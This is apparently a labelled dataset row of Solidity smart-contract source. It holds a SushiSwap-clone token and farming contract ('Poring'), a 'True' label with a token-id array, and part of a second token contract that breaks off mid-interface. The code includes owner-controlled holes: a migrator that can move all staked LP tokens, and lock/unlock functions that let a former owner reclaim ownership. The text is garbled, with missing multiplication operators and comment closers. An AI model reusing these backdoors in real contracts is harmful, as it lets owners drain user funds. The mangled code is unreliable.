{ require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/PoringToken.sol pragma solidity ^0.6.2; // PoringToken with Governance. contract PoringToken is ERC20("Poring.Finance", "PRNG"), Ownable { // START OF PORING SPECIFIC CODE // poring is an exact copy of sushi using SafeMath for uint256; function transfer(address recipient, uint256 amount) public virtual override returns (bool) { return super.transfer(recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { return super.transferFrom(sender, recipient, amount); } /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (Spawner). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /* * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for / function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /* * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to / function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /* * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair / function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "PORING::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "PORING::delegateBySig: invalid nonce"); require(now <= expiry, "PORING::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /* * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` / function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /* * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block / function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "PORING::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying PORINGs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "PORING::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 232, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // File: contracts/Spawner.sol pragma solidity ^0.6.2; interface IMigratorChef { // Perform LP token migration from legacy UniswapV2 to PoringSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // PoringSwap must mint EXACTLY the same amount of PoringSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // Spawner is an exact copy of SushiSwap // we have commented an few lines to remove the dev fund // the rest is exactly the same // Spawner is the master of Poring. He can make Poring and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once PORING is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract Spawner is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of PORINGs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount pool.accPoringPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accPoringPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. PORINGs to distribute per block. uint256 lastRewardBlock; // Last block number that PORINGs distribution occurs. uint256 accPoringPerShare; // Accumulated PORINGs per share, times 1e12. See below. } // The PORING TOKEN! PoringToken public poring; // Dev address. address public devaddr; // Block number when bonus PORING period ends. uint256 public bonusEndBlock; // PORING tokens created per block. uint256 public poringPerBlock; // Bonus muliplier for early poring makers. uint256 public constant BONUS_MULTIPLIER = 10; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when PORING mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( PoringToken _poring, address _devaddr, uint256 _poringPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { poring = _poring; devaddr = _devaddr; poringPerBlock = _poringPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accPoringPerShare: 0 })); } // Update the given pool's PORING allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner { bonusEndBlock = _bonusEndBlock; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending PORINGs on frontend. function pendingPoring(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accPoringPerShare = pool.accPoringPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 poringReward = multiplier.mul(poringPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accPoringPerShare = accPoringPerShare.add(poringReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accPoringPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 poringReward = multiplier.mul(poringPerBlock).mul(pool.allocPoint).div(totalAllocPoint); poring.mint(devaddr, poringReward.div(10)); poring.mint(address(this), poringReward); pool.accPoringPerShare = pool.accPoringPerShare.add(poringReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to Spawner for PORING allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accPoringPerShare).div(1e12).sub(user.rewardDebt); safePoringTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accPoringPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from Spawner. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accPoringPerShare).div(1e12).sub(user.rewardDebt); safePoringTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accPoringPerShare).div(1e12); uint256 _amount_tax = _amount.mul(15).div(10000); uint256 _amount_aft_tax = _amount.sub(_amount_tax); pool.lpToken.safeTransfer(address(devaddr), _amount_tax); emit Withdraw(devaddr, _pid, _amount_tax); pool.lpToken.safeTransfer(address(msg.sender), _amount_aft_tax); emit Withdraw(msg.sender, _pid, _amount_aft_tax); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe poring transfer function, just in case if rounding error causes pool to not have enough PORINGs. function safePoringTransfer(address _to, uint256 _amount) internal { uint256 poringBal = poring.balanceOf(address(this)); if (_amount > poringBal) { poring.transfer(_to, poringBal); } else { poring.transfer(_to, _amount); } } // Update dev address by the owner. function dev(address _devaddr) public onlyOwner { devaddr = _devaddr; } }	True	[ 101, 1013, 1008, 18499, 2075, 25645, 2121, 5884, 1024, 18499, 2075, 1012, 5446, 4037, 1024, 16770, 1024, 1013, 1013, 18499, 2075, 1012, 5446, 23921, 1024, 1056, 1012, 2033, 1013, 18499, 2075, 16294, 6651, 5396, 1024, 16770, 1024, 1013, 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// SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function 